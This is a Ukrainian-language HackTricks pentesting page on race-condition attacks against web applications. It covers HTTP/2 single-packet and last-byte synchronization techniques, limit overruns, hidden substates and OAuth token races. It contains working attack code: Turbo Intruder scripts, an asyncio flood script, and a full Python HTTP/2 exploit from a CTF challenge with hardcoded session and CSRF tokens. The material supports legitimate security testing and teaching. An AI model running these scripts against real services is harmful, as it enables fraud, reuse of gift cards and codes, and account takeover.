hacktricks/pentesting-web/race-condition.md
2024-03-29 19:49:46 +01:00

27 KiB
Raw Blame History

Гонка умов


Використовуйте Trickest, щоб легко створювати та автоматизувати робочі процеси, які працюють за допомогою найбільш продвинутих інструментів у спільноті.
Отримайте доступ сьогодні:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

{% hint style="warning" %} Для отримання глибокого розуміння цієї техніки перевірте оригінальний звіт на https://portswigger.net/research/smashing-the-state-machine {% endhint %}

Покращення атак гонки умов

Основна перешкода у використанні гонки умов полягає в тому, що необхідно переконатися, що кілька запитів обробляються одночасно, з дуже малим різницею у часі обробки—ідеально менше 1 мс.

Тут ви можете знайти деякі техніки для синхронізації запитів:

Атака одним пакетом HTTP/2 проти синхронізації останнього байта HTTP/1.1

  • HTTP/2: Підтримує відправку двох запитів через одне з'єднання TCP, що зменшує вплив мерехтіння мережі. Однак через варіації на стороні сервера два запити можуть бути недостатні для стійкої експлуатації гонки умов.
  • HTTP/1.1 'Синхронізація останнього байта': Дозволяє передвідправлення більшості частин 20-30 запитів, утримуючи невеликий фрагмент, який потім відправляється разом, досягаючи одночасного прибуття на сервер.

Підготовка до синхронізації останнього байта включає:

  1. Відправлення заголовків та даних тіла без останнього байта без завершення потоку.
  2. Пауза на 100 мс після початкової відправки.
  3. Вимкнення TCP_NODELAY для використання алгоритму Нагля для пакування останніх кадрів.
  4. Пінгування для прогрівання з'єднання.

Подальша відправка утримуваних кадрів повинна призвести до їх прибуття в одному пакеті, що можна перевірити за допомогою Wireshark. Цей метод не застосовується до статичних файлів, які зазвичай не використовуються в атаках гонки умов.

Адаптація до архітектури сервера

Розуміння архітектури цільового сервера є критичним. Фронтенд-сервери можуть маршрутизувати запити по-різному, що впливає на часування. Попередня прогрівання з'єднання на стороні сервера, через неважливі запити, може нормалізувати час запиту.

Обробка блокування на основі сесії

Фреймворки, як PHP обробляють запити за допомогою сесій, що потенційно приховує вразливості. Використання різних токенів сесій для кожного запиту може обійти цю проблему.

Перемога над обмеженнями швидкості або ресурсів

Якщо прогрівання з'єднання не ефективне, намаганням спричинити намірено затримки обмежень швидкості або ресурсів веб-серверів через потік фіктивних запитів може сприяти атакі одним пакетом, спричинюючи затримку на стороні сервера, сприятливу для гонки умов.

Приклади атак

  • Tubo Intruder - атака одним пакетом HTTP2 (1 кінцева точка): Ви можете відправити запит до Turbo intruder (Extensions -> Turbo Intruder -> Send to Turbo Intruder), ви можете змінити в запиті значення, яке ви хочете перебрати для %s як у csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s і потім вибрати examples/race-single-packer-attack.py зі списку:

Якщо ви збираєтеся відправити різні значення, ви можете змінити код на той, який використовує словниковий список з буфера обміну:

passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')

{% hint style="warning" %} Якщо веб-сайт не підтримує HTTP2 (тільки HTTP1.1), використовуйте Engine.THREADED або Engine.BURP замість Engine.BURP2. {% endhint %}

  • Tubo Intruder - атака одним пакетом HTTP2 (Кілька кінцевих точок): У випадку, якщо вам потрібно відправити запит до однієї кінцевої точки, а потім до кількох інших кінцевих точок для спровокування RCE, ви можете змінити скрипт race-single-packet-attack.py на щось на зразок:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)

# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0

'''

# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt

# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)

# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)

# send all the queued requests for this attempt
engine.openGate(currentAttempt)
  • Це також доступно в Repeater через нову опцію 'Send group in parallel' в Burp Suite.
  • Для limit-overrun ви можете просто додати той самий запит 50 разів у групу.
  • Для connection warming, ви можете додати на початку групи деякі запити до деякої нестатичної частини веб-сервера.
  • Для затримки процесу між обробкою одного запиту та іншого у 2 підкроки, ви можете додати додаткові запити між обома запитами.
  • Для багатопунктового RC ви можете почати відправку запиту, який переходить до прихованого стану, а потім 50 запитів одразу після нього, які експлуатують прихований стан.
  • Автоматизований скрипт на Python: Метою цього скрипту є зміна електронної пошти користувача, постійно перевіряючи її, поки токен підтвердження нової електронної пошти не надійде на останню електронну пошту (це тому, що в коді було помічено RC, де можна було змінити електронну пошту, але підтвердження було відправлено на стару, оскільки змінна, що вказувала на електронну пошту, вже була заповнена першою).
    Коли слово "objetivo" знайдено в отриманих електронних листах, ми знаємо, що ми отримали токен підтвердження зміненої електронної пошти і завершуємо атаку.
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import h2_frames
import requests

cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"

# change these headers

headersObjetivo= """accept: */*
content-type: application/x-www-form-urlencoded
Cookie: """+cookie+"""
Content-Length: 112
"""

bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'

headersVerification= """Content-Length: 1
Cookie: """+cookie+"""
"""
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"

host = "94.237.56.46"
puerto =39697


url = "https://"+host+":"+str(puerto)+"/email/"

response = requests.get(url, verify=False)


while "objetivo" not in response.text:

urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"

responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one

Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)

print(responseReset.status_code)

h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)

h2_conn.setup_connection()

try_num = 100

stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)

all_headers_frames = []  # all headers frame + data frames which have not the last byte
all_data_frames = []  # all data frames which contain the last byte


for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(  # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)

all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)


# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)

# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)

h2_conn.send_bytes(temp_headers_bytes)




# wait some time
sleep(0.1)

# send ping frame to warm up connection
h2_conn.send_ping_frame()

# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)

resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()

print('---')

sleep(3)
h2_conn.close_connection()

response = requests.get(url, verify=False)

Сировий BF

Перед попередніми дослідженнями використовувалися такі навантаження, які просто намагалися відправити пакети якомога швидше, щоб викликати RC.

  • Repeater: Перевірте приклади з попереднього розділу.
  • Intruder: Надішліть запит до Intruder, встановіть кількість потоків на 30 всередині меню Опції, виберіть як навантаження Null payloads та згенеруйте 30.
  • Turbo Intruder
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)

def handleResponse(req, interesting):
table.add(req)
  • Python - asyncio
import asyncio
import httpx

async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text

async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))

# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)

# Print results
for r in results:
print(r)

# Async2sync sleep
await asyncio.sleep(0.5)
print(results)

asyncio.run(main())

Методологія RC

Перевищення ліміту / TOCTOU

Це найбільш базовий тип гонки, де вразливості з'являються в місцях, де обмежено кількість разів, коли ви можете виконати дію. Наприклад, використання одного й того ж коду знижки у веб-магазині кілька разів. Дуже простий приклад можна знайти у цьому звіті або у цій помилці.

Існує багато варіацій такого типу атак, включаючи:

  • Декілька разів використовувати подарункову картку
  • Оцінювати продукт декілька разів
  • Знімати або переказувати гроші у більшому обсязі, ніж баланс вашого рахунку
  • Повторне використання одного рішення CAPTCHA
  • Обхід обмеження швидкості анти-брут-форсу

Приховані підстані

Експлуатація складних гонок часто включає в себе використання короткочасних можливостей для взаємодії з прихованими або непередбаченими підстанами машини. Ось як до цього підійти:

  1. Визначення потенційних прихованих підстань
  • Почніть з визначення кінцевих точок, які змінюють або взаємодіють з критичними даними, такими як профілі користувачів або процеси скидання пароля. Зосередьтеся на:
  • Зберігання: Віддавайте перевагу кінцевим точкам, які маніпулюють постійними даними на сервері, ніж тим, які обробляють дані на клієнтському боці.
  • Дія: Шукайте операції, які змінюють існуючі дані, оскільки вони більш схильні до створення експлуатованих умов порівняно з тими, які додають нові дані.
  • Ключування: Успішні атаки зазвичай включають операції, які базуються на тому самому ідентифікаторі, наприклад, ім'я користувача або токен скидання.
  1. Проведення Початкового Пробування
  • Протестуйте визначені кінцеві точки з атаками гонки, спостерігаючи за будь-якими відхиленнями від очікуваних результатів. Неочікувані відповіді або зміни у поведінці додатка можуть сигналізувати про вразливість.
  1. Демонстрація Вразливості
  • Скоротіть атаку до мінімальної кількості запитів, необхідних для експлуатації вразливості, часто всього двох. Цей крок може вимагати кількох спроб або автоматизації через точний час, необхідний для виконання.

Атаки, Чутливі до Часу

Точність у відправці запитів може розкрити вразливості, особливо коли для захисних токенів використовуються передбачувані методи, такі як мітки часу. Наприклад, генерація токенів скидання пароля на основі міток часу може дозволити однакові токени для одночасних запитів.

Для Експлуатації:

  • Використовуйте точний час, наприклад, атаку одним пакетом, для виконання одночасних запитів на скидання пароля. Ідентичні токени вказують на вразливість.

Приклад:

  • Запитайте два токени скидання пароля одночасно і порівняйте їх. Співпадаючі токени вказують на дефект у генерації токенів.

Перевірте це Портсвігер Лабораторію щоб спробувати це.

session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form

Вічна стійкість OAuth2

Існує кілька постачальників OAuth. Ці сервіси дозволять вам створити додаток та аутентифікувати користувачів, яких зареєстрував постачальник. Для цього клієнт повинен дозволити вашому додатку отримати доступ до деяких їхніх даних всередині постачальника OAuth.
Отже, до цього моменту це просто звичайний вхід за допомогою google/linkedin/github... де вас запитують на сторінці: "Додаток <InsertCoolName> хоче отримати доступ до вашої інформації, чи бажаєте ви його дозволити?"

Гонка умов в authorization_code

Проблема виникає, коли ви приймаєте це і автоматично надсилаєте authorization_code до зловмисного додатку. Потім цей додаток зловживає Гонкою умов у постачальнику сервісу OAuth для генерації більше одного AT/RT (Токен аутентифікації/Оновлення токену) з authorization_code для вашого облікового запису. Фактично, він буде зловживати тим, що ви дозволили додатку отримати доступ до ваших даних, щоб створити кілька облікових записів. Потім, якщо ви припините дозволяти додатку отримувати доступ до ваших даних, одна пара AT/RT буде видалена, але інші залишаться дійсними.

Гонка умов в Refresh Token

Після того, як ви отримали дійсний RT, ви можете спробувати зловживати його для генерації кількох AT/RT і навіть якщо користувач скасує дозвіл для зловмисного додатку отримати доступ до його даних, декілька RT все ще будуть дійсними.

Гонка умов у WebSockets

У WS_RaceCondition_PoC ви можете знайти PoC на Java для відправки повідомлень у паралельному режимі для зловживання Гонкою умов також у WebSockets.

Посилання

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:


Використовуйте Trickest для легкої побудови та автоматизації робочих процесів за допомогою найбільш продвинутих інструментів спільноти у світі.
Отримайте доступ сьогодні:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}